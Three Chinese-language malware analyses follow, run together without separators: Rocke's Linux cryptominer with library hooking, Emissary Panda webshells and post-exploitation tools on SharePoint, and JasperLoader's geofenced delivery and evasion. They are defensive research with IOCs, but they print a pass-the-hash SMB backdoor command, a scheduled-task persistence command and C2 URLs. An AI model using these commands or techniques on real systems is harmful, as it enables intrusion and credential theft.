库的文件名是通过从二进制文件中的硬编码字符串列表中随机选择来获得的,这与以前只使用一个硬编码文件名的变体不同。下面的图像只显示了它可以使用的几个文件名。

12.png

图12:部分文件名列表

简而言之,恶意软件的库组件挂钩函数,因此任何试图访问与恶意软件相关信息的应用程序都会显示一个虚假的结果。这些函数与文件列表、网络活动、进程和CPU使用信息相关。

13.png

图13:突出显示的是带有钩子函数的库

例如,如果应用程序试图列出恶意软件组件所在的目录,库将确保该恶意文件不会包含在结果中。为了实现这一点,恶意软件挂钩fopen API,同样的规则也适用于与之相关的其他构件,这种做法增加了受害者发现并删除恶意软件的难度。

14.png

图14:连到fopen的钩子函数

15.png

图15:隐藏库函数

至于隐藏实际CPU统计数据,如果应用程序试图读取/proc/stat文件,则调用force_proc_cpu函数来返回一个硬编码统计数据,显示CPU使用率为0%。

16.png

图16:返回伪proc/stat值的函数

17.png

图17:预加载恶意库之前和之后的工具

传播

此恶意软件的早期版本通过针对SSH(端口22)和Redis(端口6379)服务强制获取凭证的方法进行传播。它会扫描网络中的每个IP地址,并使用一长串硬编码的凭证列表来建立与这些服务的会话。

然而,大约一个月前,威胁参与者开始通过利用CVE-2018-1000861()和CVE-2019-1003000定位运行Jenkins的系统。

18.png

图18:通过CVE-2019-1003000传播

19.png

图19:通过CVE-2018-1000861传播

挖矿机

此版本中使用的是开源的XMRig CPU挖矿机,而在较早的版本中,则是在系统中植入一个单独的配置文件,其中包含所有信息,如钱包地址和使用的矿池。

20.png

图20:较旧版本的挖矿机的配置

在最新版本中,配置嵌入在二进制文件里。恶意软件使用代理服务器systemten.org:51640(最有可能运行xmrig-proxy服务)进行流量挖掘,其中配置了钱包地址和矿池。这意味着受感染的宿主矿工不知道这些参数的存在,从而有效地隐藏了进一步调查的细节。注意,端口可能会根据变体而变化。

21.png

图21:带有矿池代理的嵌入式挖矿机配置

结论

通过不断的监控,我们发现这次Rocke来势汹汹,经常在一天内多次更新,为其加密货币挖掘方案添加更多的功能。

通过使用挂钩库,将会使用户手动检测和删除系统中的感染变得更加复杂,从而给威胁组织更多的时间、产生更多的利润。我们还注意到,Rocke已经开始添加一些特性,通过针对系统漏洞来扩大其感染范围,考虑到他们最近的开发速度,Rocke很可能在不久的未来还会添加更多这样的特性。

解决方案

· Fortinet客户受以下解决方案的保护:

· 我们的IPS签名检测到Jenkins的漏洞为Jenkins.Script.Plugin.Authenticated.Remote.Command.Execution

· 可以使用应用程序控制签名Bitcoin.Cryptocurrency.Miner阻止到xmrig-proxy的流量

· 所有恶意样本都被检测为Linux / Agent.BQ!tr

· FortiGuard Web过滤服务能阻止了矿机的代理服务器

IOCs

Files

· fbbb28ed10c792b4a29748795cba26f78d28cf13d8b7b042d6de4f3ea1401399

· 3a6271a90d0f6cc8a2d31d45d931e8401f13f7377932ba07d871dc42f252b9ca

· 63c7f944bf8b9f4db9a8cf6d47a6d4026bba776478c1315c2888ecff603d73a1

· 1608899ff3bd9983df375fd836464500f160f6305fcc35cfb64abbe94643c962

· f6712249b3c27772daf815d459577c2c88a3aef6b66dfd0986ac9277a8bb35e1

· ea682b4aa3885657fe15f76cc3f97322547ca21f347069cd3c78b152a0155781

· 5eda73b869c22f92c78547995acbba5ff794ea24f5da72af2d653600411d6c97

· 3f8683fa08a5ae5964f4ee4962465b16c12075480e24a269d151ce1130c77d8c

· b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61

URLs

systemten.org

· https://pastebin[.]com/raw/Xu86DLj0

· https://pastebin[.]com/raw/0DqEa3Gn

· https://pastebin[.]com/raw/Ei4z3RQ7

· hTTps://pastebin[.]com/raw/XiUrwYe9

· https://pastebin[.]com/raw/rPB8eDpu

· https://pastebin[.]com/raw/HWBVXK6H 

摘要

2019年4月,Unit 42观察到Emissary Panda(又名APT27、TG-3390、Bronze Union、Lucky Mouse)威胁组织通过在Sharepoint服务器上安装webshell来攻击中东两个国家的政府机构。此次攻击利用了Microsoft SharePoint的漏洞CVE-2019-0604,这是一个远程代码执行漏洞,已于近期修补。在攻陷了Sharepoint服务器并安装好webshell后,Emissary Panda会上传了一些工具执行某些活动,例如转储凭证,或是定位转移到网络上的其他系统。特别值得注意的是,攻击者还会侦查目标系统是否包含漏洞CVE-2017-0144,该漏洞曾被“永恒之蓝”利用过,在2017年WannaCry攻击中造成了巨大的破坏和影响。

除此之外,Emissary Panda还通过webshell上传一些合法的可执行文件,通过DLL侧加载来运行恶意DLL。我们还在SharePoint服务器上找到了“中国菜刀”(China Chopper)webshell,它也被Emissary Panda威胁组织所使用。

在本篇文章中,我们将说明在这些受感染的SharePoint服务器上观察到的工具和攻击策略,并解释它们与Emissary Panda的关联性。

攻击概述

2019年4月1日至2019年4月16日,我们在两个不同的政府组织托管的三个SharePoint服务器上发现了webshell活动的痕迹,攻击者在这三个SharePoint服务器上上传了共24个可执行文件。图1显示了文件上载的时间轴,三种颜色分别表示三个webshell,图中的标签则是对应的上传文件,其中前两个webshell活动时间间隔较短,到了4月16日才开始出现第三个webshell的身影。上传文件大多是相同的,表明很可能是同一组织所为。

1.png

图1.三个webshell文件上传时间线

上传到webshell的工具从合法的应用程序(如cURL)到后期开发工具(如Mimikatz)不等,还有用于扫描和利用网络中潜在漏洞的工具,例如SMB补丁MS17-010中修补的漏洞CVE-2017-0144就是被检索的对象之一,该漏洞常被EternalBlue利用,能横向移动到网络上的其他系统。我们还观察到,上传的文件中还有HyperBro之类的自定义后门,HyperBro通常与Emissary Panda有关。

Webshell安装

如前所述,我们在两个不同组织托管的三个SharePoint服务器中发现了webshell,其中两个具有相同的文件名errr.aspx,另一个文件名为error2.aspx。webshell托管在受感染服务器上的以下路径中:

/_layouts/15/error2.aspx
 
/_layouts/15/errr.aspx

我们收集了攻击者与error2.aspx交互的信息。error2.aspx(SHA256:006569f0a7e501e58fe15a4323eedc08f9865239131b28dc5f95f750b4767b38)是Antak webshell的变体,Antak webshell是红队工具Nishang的一部分。Antak在error2.aspx中的特定变体是v0.5.0版,含有一些基本的身份验证功能和执行SQL查询的功能,它可能是攻击者在Nishang GitHub存储库()或SecWiki的GitHub中获得的。图2显示了在其中一个Sharepoint服务器上加载的Antak webshell。

2.png

图2.用于上传后期利用工具的Antak webshell'error2.aspx'

除了Antak webshell之外,Sharepoint服务器还安装了其他几个webshell,如stylecs.aspx,stylecss.aspx和test.aspx(见表1),似乎都与China Chopper webshell相关。我们不能确定是否这些webshell都是由相同的攻击者安装的,因为SharePoint服务器可能已被多个攻击者利用过。与China Chopper相关的webshell是一行JScript代码,攻击者能轻松复制使用;Antak webshell则可从公开访问的存储库中获取。但让我们将其归因于Emissary Panda组织一个重要线索就是Antak webshell中同时出现China Chopper以及Emissary Panda的自定义payload,因为该组织过去也曾使用过China Chopper来破坏服务器的案例。

t1.jpg

表1. Sharepoint服务器上托管的其他webshell

stylecs.aspx webshell提供了相当重要的功能,它能运行HTTP请求中提供的任何JScript代码。图3显示了stylecs.aspx的代码,它将在参数为e358efa489f58062f10dd7316b65649e中的URL中运行base64编码的JScript。参数e358efa489f58062f10dd7316b65649e是字母't'的MD5哈希值,也是China Chopper的已知参数。

3.png

图3.stylecs.aspx webshell中的China Chopper的代码

stylecss.aspx webshell与stylecs.aspx非常相似,它运行参数为e358efa489f58062f10dd7316b65649e的URL中的JScript; stylecss.aspx webshell不接受base64编码的JScript,而是需要明文形式的JScript。图4显示了stylecss.aspx中的代码,与上面的图3相比,它缺少base64解码函数'FromBase64String'。

4.png

图4.stylecss.aspx webshell中找到的China Chopper代码

在Sharepoint服务器提取的最后一个webshell的文件名为test.aspx,它与stylecs.aspx webshell非常相似,也是运行请求的URL中提供的base64编码的JScript,但是该脚本需要受感染组织的相关参数来获取,脚本会在在浏览器中运行和显示。test.aspx shell还包含将HTTP响应状态设置为“404 Not Found”的代码,能在显示错误页面的同时在后台运行JScript。图5显示了test.aspx文件中的代码。

5.png

图5.test.aspx webshell中找到的China Chopper代码

归因

2019年4月,数个国家的安全组织发布了有关CVE-2019-0604漏洞利用的警报,沙特阿拉伯和加拿大的国家网络安全中心都报告了威胁组织利用CVE-2019-0604入侵SharePoint服务器并安装China Chopper webshell的事件,而此次观察到的SharePoint服务器上托管的webshell代码和上述报备的存在一定重叠。

沙特阿拉伯国家网络安全中心对之前的攻击事件有做详细说明,也列出了China Chopper webshell的相关代码,有个细节是Request.Item [“t”]从URL的't'参数中获取JScript代码,跟我们上文的描述一致——e358efa489f58062f10dd7316b65649e是't'的MD5哈希值,而此次stylecs.aspx和stylecss.aspx也都使用了该参数,说明威胁行为者在看到报告之后,在不改变功能的基础上对他们的脚本做了略微修改,此外,之前的报告中也提到过有个名为stylecss.aspx的webshell,这与我们看到的与China Chopper相关的文件名相同。

而加拿大网络安全中心提供了该活动相关文件的SHA256哈希值,其中一个名为pay.aspx的文件的哈希为05108ac3c3d708977f2d679bfa6d2eaf63b371e66428018a68efce4b6a45b4b4。 pay.aspx文件是China Chopper webshell的一部分,与我们上面讨论过的stylecss.aspx webshell非常相似,唯一的主要区别是pay.aspx webshell通过URL中'vuiHWNVJAEF'参数获取并运行JScript。下面的图6显示了stylecss.aspx和pay.aspx文件之间的差异。

6.png

图6.加拿大网络安全中心提供的的stylecss.aspx webshell和现在的pay.aspx webshell之间的比较

上传工具

我们搜集了上传到三个webshell中的工具,如图7所示,几起行动之间的工具使用有一定重叠,其中之一就是合法的cURL应用程序;还有用来定位网络上系统的工具(etool.exe),以检查系统是否有MS07-010(checker1.exe)补丁;还有一个类似PsExec的远程执行工具——Impacket (psexec.exe)。这些工具虽然不是攻击者原创的,但也能体现活动间的关联性。我们还观察到其中一个webshell上传了HyperBro后门和合法的可执行文件,这些可执行文件加载的恶意DLL代码也能关联到之前的Emissary Panda活动。

7-1.png图7.上传到三个webshell的工具之间的关系

error2.aspx webshell中有10个可移植的可执行文件,如表2所示。上传到此webshell的工具列表包括:cURL和用于加载恶意DLL的Sublime Text组件的合法应用程序;还包括几个黑客工具,例如用于凭据转储的Mimikatz,和几个用于定位和危害本地网络上其他系统编译python脚本;以及一个名为HyperBro的自定义后门。

t2.jpg

表2.上传到error2.aspx webshell的工具

上传到errr.aspx webshell的工具有17个,托管在另一个政府组织的SharePoint服务器上,如图8所示(中间部分),工具详情参见表3。

t3-1.jpg

t3-2.jpg

表3.上传到errr.aspx webshell上的工具

errr.aspx webshell中有两个工具——zzz_exploit.py和checker.py,如果系统没有MS17-010补丁,会被攻击者用于远程控制。此外,使用Mimikatz和pwdump工具表明攻击者试图在受感染的系统上转储凭据。我们能够收集攻击者用来运行SMB后门smb1.exe的命令行参数,参数显示攻击者会通过SMB后门使用域用户名和帐户的密码哈希在远程主机上运行批处理脚本m.bat:

c:\programdata\smb1.exe <redacted 10.0.0.0/8 IP> <redacted domain>\<redacted username> :<redacted password hash> winsk c:\programdata\m.bat

上传到errr.aspx webshell的可移植可执行文件数量上要少得多,表4中列出了它的3个文件,包含了相同的编译python脚本,可以扫描易受CVE-2017- 0144攻击的远程系统,此外还有一个合法的Microsoft应用程序,能加载恶意DLL。

t4.jpg

表4.上传到errr.aspx webshell上的工具

Emissary Panda专属工具

上传到这些webshell的许多工具都是可公开访问的黑客工具,但有几个工具可能是Emissary Panda的专属工具。

HyperBro

上传到error2.aspx webshell的s.exe(SHA256:04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462)是一个自解压7-zip存档,属于HyperBro后门之一。HyperBro是Emissary Panda在其攻击活动中开发和使用的一个定制后门,它使用合法的pcAnywhere应用程序来侧加载DLL,解密、解压并运行嵌入在名为“thumb.db”的文件中的payload。表5显示了与此HyperBro样本关联的三个文件(SHA256哈希:34a542356ac8a3f6e367c6827b728e18e905c71574b3813f163e043f70aa3bfa和2144aa68c7b2a6e3511e482d6759895210cf60c67f14b9485a0236af925d8233)。

t5.jpg

表5.HyperBro工具关联的文件

payload是于2019-03-11 02:23:54编译的DLL文件,它具有两个功能,具体取决于二进制文件的命令行参数是-daemon还是-worker。守护进程(daemon)处理木马的C2通信部分,并使用以下URL通过HTTPS与185.12.45 [.] 134进行通信:

hxxps://185.12.45134[]:443/ AJAX

工作进程(worker)的功能是从C2服务器接收数据,服务器通过名为“\\.\ pipe \ testpipe”的管道从守护进程传递给工作进程。攻击者将接收到的数据置于命令处理程序中,命令处理程序的可用命令列于表6中。

t6.jpg

表6. HyperBro工具的命令处理程序中可用的命令

未知的侧加载Payload

表2和表4中列出了两个用于DLL侧加载的合法可执行文件,分别是Sublime Text的plugin_host.exe应用程序和Microsoft System Center 2012 Configuration Manager的CreateMedia.exe应用程序。plugin_host.exe从名为python33的库中导入多个函数来加载名为PYTHON33.dll的恶意DLL,CreateMedia.exe应用程序从名为CreateTsMediaAdm的库中导入多个函数来加载名为CreateTsMediaAdm.dll的恶意DLL。这两者我们在之前的行动中未曾见到过。

PYTHON33.dll和CreateTsMediaAdm.dll库的BinDiff相似度为97%,置信度为99%。图8中显示了PYTHON33.dll(右)和CreateTsMediaAdm.dll(左)解密例程的代码差异:两者都使用8字节的XOR密钥来解密一段shikata_ga_nai的混淆shellcode。shellcode负责修补合法应用程序的入口点,以调用shellcode中的另一个函数,该函数负责加载具有扩展名为.hlp的库名称的文件(PYTHON33.hlp或CreateTsMediaAdm.hlp)。

8.png

图8.CreateTsMediaAdm.dll和PYTHON33.dll文件之间的代码比较

遗憾的是,我们无法访问PYTHON33.hlp或CreateTsMediaAdm.hlp文件,因此我们不知道这两个DLL加载的最终payload。然而,通过NCC Group在2018年5月发布的研究,我们能够发现这些DLL与运行SCCUpdate工具的侧加载DLL之间的代码有重叠,而NCC Group也与Emissary Panda活动相关联。图9显示了PYTHON33.dll(右)和inicore_v2.3.30.dll(左)(SHA256:4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822)之间的代码比较,后者在先前的Emissary Panda活动中被侧加载运行SysUpdate工具。下面重叠的代码包含了相同的技术——找到加载可执行文件的入口点,并解密用于修补入口点的第一个shellcode。

9.png

图9.PYTHON33.dll与之前的Emissary Panda攻击中inicore_v2.3.30.dll文件之间的代码比较

结论

Emissary Panda威胁组织通过在Sharepoint服务器上安装webshell来攻击中东两个国家的政府机构。此次攻击利用了Microsoft SharePoint的远程代码执行漏洞CVE-2019-0604,这个漏洞是在2019年3月12日修复的,而我们在2019年4月1日首次看到了webshell活动。这表明,该威胁组织能够迅速利用已知的漏洞,利用面向Internet的服务器访问目标网络。

一旦攻击者在目标网络上建立了立足点,他们就会使用China Chopper和其他webshell将工具上传到SharePoint服务器,进行凭据转储、网络侦察,并利用MS17-010中修补的CVE-2017-0144(EternalBlue)漏洞转移到网络上的其他系统。我们还观察到可以侧加载DLL的合法工具——Sublime Text plugin host和Microsoft的Create Media应用程序,这两者都是我们之前从未见过用于DLL侧加载的应用程序。

IOCs

Webshells SHA256

006569f0a7e501e58fe15a4323eedc08f9865239131b28dc5f95f750b4767b38

2feae7574a2cc4dea2bff4eceb92e3a77cf682c0a1e78ee70be931a251794b86

d1ab0dff44508bac9005e95299704a887b0ffc42734a34b30ebf6d3916053dbe

6b3f835acbd954af168184f57c9d8e6798898e9ee650bd543ea6f2e9d5cf6378

Malicious HackTools and Payloads SHA256

88027a44dc82a97e21f04121eea2e86b4ddf1bd7bbaa4ad009b97b50307570bd

738128b4f42c8d2335d68383d72734130c0c4184725c06851498a4cf0374a841

3bca0bb708c5dad1c683c6ead857a5ebfa15928a59211432459a3efa6a1afc59

29897f2ae25017455f904595872f2430b5f7fedd00ff1a46f1ea77e50940128e

d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333

a18326f929229da53d4cc340bde830f75e810122c58b523460c8d6ba62ede0e5

090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98

7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7

38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c

4a26ec5fd16ee13d869d6b0b6177e570444f6a007759ea94f1aa18fa831290a8

b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9

475c7e88a6d73e619ec585a7c9e6e57d2efc8298b688ebc10a3c703322f1a4a7

9f5f3a9ce156213445d08d1a9ea99356d2136924dc28a8ceca6d528f9dbd718b

c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e

a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86

e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee

d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333

06510504f30feb1adc7e423d5a24e67e5b97acbfafe40f253a054be8b1c4e8d7

b279a41359367408c627ffa8d80051ed0f04c76fbf6aed79b3b2963203e08ade

7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7

04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462

090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98

38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c

2dde8881cd9b43633d69dfa60f23713d7375913845ac3fe9b4d8a618660c4528

HyperBro C2

hxxps://185.12.45[.]134:443/ajax

185.12.45[.]134

简介

在过去的几个月里,出现了一种名为JasperLoader的新型恶意软件加载器,它以意大利和其他欧洲国家为目标,分发Gootkit等银行木马。我们最近也发表过JasperLoader相关特性的全面分析,在报告发表后不久,与之有关的分发活动就停止了。但经过几周的潜伏之后,我们发现JasperLoader的一个新版本正在传播。与初始版本相比,此版本有几个变化和改进的地方。JasperLoader通常用额外的恶意软件payload来感染系统,这些payload可用于泄露敏感信息、破坏系统或对组织产生其他负面影响。

此次行动背后的攻击者有计划地控制恶意软件的传播,还采取了相应的措施避免安全人员的分析,同时用到了一种新的机制来改进受感染系统和C2之间的通信。目前,JasperLoader还在持续对意大利扩散着威胁,攻击者也未间断对此恶意软件的改进工作,使之变得越来越复杂,在未来我们可能会看到JasperLoader的多种版本。

恶意软件分发上的改变

正如我们之前在对JasperLoader的分析中所提到的,JasperLoader采用了一个多阶段的感染过程,其特点是使用了几种混淆技术,使得分析更加困难。在感染初始阶段,攻击者利用一个名为Posta Elettronica Certificata (PEC)的服务来分发恶意邮件,PEC是一种经过认证的电子邮件服务,2019年初,意大利通过了PEC相关法案,这项新立法要求意大利企业使用电子发票来交付B2B和B2C交易的发票。攻击者嗅觉敏锐地意识到了可以利用新方案增加自身的可信度,诱使更多受害者打开恶意邮件。

不过现在,攻击者对恶意软件分发的方式做了一些改变。

我们最初看到的样本中,邮件携带了一个ZIP文件,其中包含VBS文件,一旦打开便会开启感染过程。而在当前版本中,攻击者不再直接使用附件。

1.png

上图是初始样本的邮件内容,由意大利语编写,并带有一个恶意附件,该邮件标题为“postacert.eml”,打开电子邮件后会弹出以下内容:

2.png

上图则是此次攻击中发现的新样本,也是分发过程开始开始转变的地方。电子邮件不再携带附件,但是有一个超链接转到地址hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip,同时链接末端加上了邮件中的一个参数。例如,完整的URL是hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip?214299,数字214299是电子邮件本身中引用的数字。该地址看似没什么问题,会得到来自Web服务器的HTTP 302响应。 HTTP 302是用于临时移动的重定向代码,多年来一直被攻击者滥用,比如几年前流行的利用302缓冲的漏洞利用工具包。

该链接会重定向到www.cnnic [.] cn,即中国互联网络信息中心(CNNIC)。显然,这个域名对用户而言是无害的,只会让他们感到一头雾水,所以我们决定开始研究潜在的地理定位。

地理定位是一种技术,攻击者使用它来确保所有的受害者都来自特定的地区或国家,而像我们这样的研究人员很难追踪到这种活动。地理定位经常由APT组织使用,但不常用于像JasperLoader这样的软件。为了测试,我们将流量路由到了意大利IP空间。

当流量通过意大利IP空间路由时,结果会有很大差异。返回请求是一个ZIP文件,其中包含一个恶意VBS文件,该文件类似于我们发现的早期样本。执行此VBS文件后,感染过程启动并安装加载程序。

这也说明JasperLoader在继续利用域名阴影(Domain Shadowing),并在攻击者控制的子域之间快速移动。下图显示了与JasperLoader利用的某一C2域的DNS解析,虽然范围有限,但能看出有超过95%的攻击事件来自意大利,地理定位保护措施似乎是成功的。

3.png

JasperLoader功能变化

JasperLoader的感染过程仍具有多阶段的特征,包括用于在系统上建立立足点,启动与攻击者控制的基础设施的通信,并实现加载器的核心功能。虽然许多处理函数与我们之前对JasperLoader的分析中描述的类似,但是恶意软件的操作有几个显著的变化,这些变化将在下面的小节中描述。

额外的混淆层

与之前在JasperLoader感染过程中所看到的类似,攻击者依靠多层混淆来试图隐藏恶意软件的动作。混淆机制通常是利用字符替换机制,并在运行时通过数学计算来重构将要执行的PowerShell指令。恶意软件利用的的Visual Basic脚本(VBS)下载器也使用相同的过程。

4.png

在当前行动中,攻击者引入了额外一层混淆,用字符替换来进一步模糊底层的PowerShell。 对VBS进行反模糊处理后,底层PowerShell为:

5.png

对上图中的每个字符替换后会变成第一阶段的PowerShell,该文件用于从C2检索其他阶段。这一阶段PowerShell的样本是:

6.png

此PowerShell与之前的JasperLoader中的内容类似,但还有一些显著差异。

诱饵文件

从第一阶段的PowerShell中可以看出,它从指定的URL检索PDF并将其显示给用户。 此PDF不是恶意的,只是设计用作诱饵文档,这样当用户执行VBS时,就会有一个预期的结果。

7.png

虽然受害者只是看到上面的PDF,但在后台感染过程仍在继续,恶意软件会继续检索第二阶段。

地理位置过滤

JasperLoader中的一个变化是引入了基于地理位置的过滤,用于感染过程的交付阶段。在以前版本的JasperLoader中,感染过程的每个阶段都使用了Get-UICulture PowerShell cmdlet,并在系统配置为使用与中国,俄罗斯,乌克兰或白俄罗斯相关联的语言包时终止。最新版本的JasperLoader添加了额外的检查——罗马尼亚语,如果用户正在使用上述语言设置中的任意一个,则将中止感染进程。

8.png

虚拟机/沙箱检测

最新版本的JasperLoader中添加的另一个新特性是对基于管理程序的环境的检测。在许多情况下,恶意软件将执行各种检查,以确定它是否在虚拟环境中执行,如是则终止执行,以避免被沙箱或反恶意软件解决方案分析。

JasperLoader的最新版本引入了查询Windows管理工具子系统(WMI)的机制,以获得被感染系统的模型,通过检查模型标识符,看看它是否匹配以下管理程序:

VirtualBox

VMware

KVM

如果包含上述任一程序,恶意软件都将终止执行,并且不会在系统上执行任何其他操作。此后在感染过程的每个阶段都要进行同样的检查。

9.png

第3阶段功能/Payload检索

虽然第2阶段发生了一些细微的变化,他们大多是相关文件存储位置、文件命名约定和其他基础上修改,但整体功能,包括检索、去混淆、执行第二阶段进入第三阶段的过程仍相对不变。有关此过程如何工作的详细信息,请参阅我们之前的文章

大多数正在进行的开发活动似乎都集中在JasperLoader感染过程的第3阶段,因为这是JasperLoader的大部分功能所在阶段。最新版本的JasperLoader去掉了恶意软件在重启后也能保持存在的机制,引入了保护C2通信的机制,通过更强大的机制来确保JasperLoader的更新能有效地传播到JasperLoader僵尸网络中的所有系统。

持久性机制

在以前版本的JasperLoader中,恶意软件将通过在系统的Startup文件夹中创建恶意Windows快捷方式(LNK)来获取受感染系统的持久性。最新版本的JasperLoader也使用Task Scheduler完成了这项工作。使用以下语句在受感染的系统上创建计划任务:

schtasks.exe /create /TN "Windows Indexing Service" /sc DAILY /st 00:00 /f /RI 20 /du 24:59 /TR (Join-Path $bg_GoodPAth 'WindowsIndexingService.js');

这将创建一个定期重新启动JasperLoader的计划任务。如果这个过程失败,JasperLoader将恢复到使用快捷方式进行持久化。

10.png

自动恢复的C2机制

JasperLoader中新加的另一个功能就是基于时间流的自动恢复C2域名检索机制,恶意软件指定默认的C2域,如果该域不可用,则使用系统上的当前日期生成一系列恢复域名,恶意软件将尝试使用这些域进行C2通信。

11.png

注册bot

与之前版本的JasperLoader不同的是,恶意软件还实现了新的bot注册和ID生成机制,并利用不同的信息为每个系统创建一个唯一的标识符。和以前一样,此信息作为HTTP GET请求中的参数传递给C2,并使用以下内容生成:

12.png

一个有意思的PowerShell构件

与JasperLoader的第3阶段相关联的PowerShell中有一个有趣的构件,它位于一个名为BG_SelectDomen()函数中,该函数负责定义用于未来通信的C2域。“domen”一词翻译过来就是“领域”,这个词在包括罗马尼亚在内的多个国家被广泛使用。

13.png

虽然这是一个低可信度指标,但对地理定位而言是很有意义的,以确定它是否应该继续在受感染的系统上执行。

Payload传递

在分析最新的JasperLoader活动期间,我们无法接收到从攻击者的C2基础设施获得恶意PE32所需的命令和URL信息,但C2通信通道仍然处于活动状态,也还在发信号。

14.png

这可能是由于JasperLoader此时还没有被攻击者广泛使用。僵尸网络操作人员可能为了构建其功能而正试图获取JasperLoader感染,以便将其货币化,好在之后能利用僵尸网络分发其他的恶意软件。有报告表明GootKit可能再次成为之后行动的首选payload。

结论

新的JasperLoader活动已经表明,攻击者在不断改进他们的攻击手段,以提高感染能力,同时尽量避免被检测和分析到。JasperLoader进化速度是非常快的,攻击者开发额外功能、增加混淆层,以及添加躲避虚拟机和地理定位的措施都是在较短时间内迭代的。从这点我们也能看出攻击者致力于使JasperLoader成为一个健壮灵活的威胁体系,可以随着安全控制和检测能力的变化而快速更新。

虽然JasperLoader相对于其他成熟的恶意软件加载器来说还是比较新的,但随着其僵尸网络的不断增长,它很可能会在未来承载更多恶意软件payload,操作人员只需利用已经感染的系统,按下一个按钮或发出一条命令,就能造成大规模的破坏。

IoC

Domains

breed[.]wanttobea[.]com

zzi[.]aircargox[.]com

nono[.]littlebodiesbigsouls[.]com

tribunaledinapoli[.]recsinc[.]com

tribunaledinapoli[.]prepperpillbox[.]com

tribunaledinapoli[.]lowellunderwood[.]com

tribunaledinapoli[.]rntman.com

IP addresses

185[.]158[.]251[.]171

185[.]158[.]249[.]116

Hashes

052c9895383eb10e4ad5bec37822f624e443bbe01700b1fe5abeeea757456aed

54666103a3c8221cf3d7d39035b638f3c3bcc233e1916b015aeee2539f38f719

ee3601c6e111c42d02c83b58b4fc70265b937e9d4d153203a4111f51a8a08aab